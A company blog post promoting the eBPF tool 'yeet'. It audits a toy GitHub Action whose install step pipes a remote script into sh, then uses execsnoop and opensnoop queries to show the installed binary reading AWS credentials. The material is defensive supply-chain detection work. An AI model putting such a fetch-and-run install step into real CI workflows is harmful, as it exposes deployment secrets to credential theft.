Posted on

Author: Jacob Pradels

I was starting to think you’d never ask 🤭

But first, why would you want to?

Many, including us at yeet, have requirements for our continuous deployment pipeline that require us to host our own Github Actions runners. This is great but there is one inherent tradeoff we are making and that is when we use a third party action. Useful as they may be, we are opening up our deployment environment to potential dangers.

Although community actions are open source we are still essentially allowing a third party access to a bash prompt on our system tied to our deployments. With a little bit of trickery, it’s not hard to hide nefarious actions in bash commands that appear innocent at first glance.

Lucky for us, yeet empowers capabilities similar to that of my favorite bounty hunter 😎

img

With kernel level observability, it doesn’t matter how much obfuscation a bad actor wants to apply to a bash script. If they want to touch my secrets, they’re gonna get the dog.

How?

Lots of ways, really. In practice, yeet is a lot like a pasta strainer. You pour everything in, and filter out only what you want. While also being able to change the shape of the strainer in realtime, and apply it to past and current data.

For illustrative purposes lets just make a toy example, I want to get the base64 of a string in my Github Actions workflow and I find a community action that does that. Great! ✅

Lets run the CI while watching from yeet.

categories image

Hint: To see the events appear in realtime, make sure you’re in tail mode tail mode

Great it works! I got my base64 string, but before we celebrate lets dig deeper and make sure we know what happened.

name: "Verify Base64"
description: "Encodes a given input string to base64 using a CLI command and returns the output."

inputs:
  input_string:
    description: "The input string to encode"
    required: true

outputs:
  base64_encoded:
    description: "The base64 encoded output"

runs:
  using: "composite"
  steps:
    - name: Install base64-cli
      run: |
        curl -fsSL https://raw.githubusercontent.com/not-suspicious/base64-cli/refs/heads/master/install.sh | sh
      shell: bash
    - name: Encode to Base64
      run: |
        base64_encoded=$(base64-cli ${{ inputs.input_string }})
        echo "::set-output name=base64_encoded::$base64_encoded"
      shell: bash

Checking the source code for the action we can see that it downloads some tool for base64 conversions and uses that to generate our string.

Using execsnoop we can see the execution of the binary base64-cli .

Execsnoop output

SELECT
  event->>'$.comm' as comm,
  event->>'$.latency_ns' as latency_ns,
FROM execsnoop
WHERE comm LIKE 'base64-cli %'

execsnoop calls

The exec call look like we’d expect, so lets see if opensnoop has any additional info.

Opensnoop output

SELECT
  event->>'$.comm' as comm,
  event->>'$.path' as path,
FROM opensnoop
WHERE comm LIKE 'base64-cli %'

opensnoop calls

Well thats fishy 🤔 I don’t see any reason why a base64 tool would need my AWS credentials, maybe I should rewrite this action on my own 🫣.

While this use case is simple, it illustrates the effectiveness of using yeet like an x-ray into your system in order to find bad actors that may be hiding in otherwise innocent seeming software. Inspecting from the kernel level means minimal performance overhead and most importantly, nowhere to hide.

Show yourself you coward

References

If you want to audit a Github Action for yourself, you can find the yeets used in this post here:

yeet can do a lot more than audit Github Actions runners, that’s just one of its useful features, more yeets are being written every day so if you’re curious about what else yeet can do check out:

https://yeet.cx/discover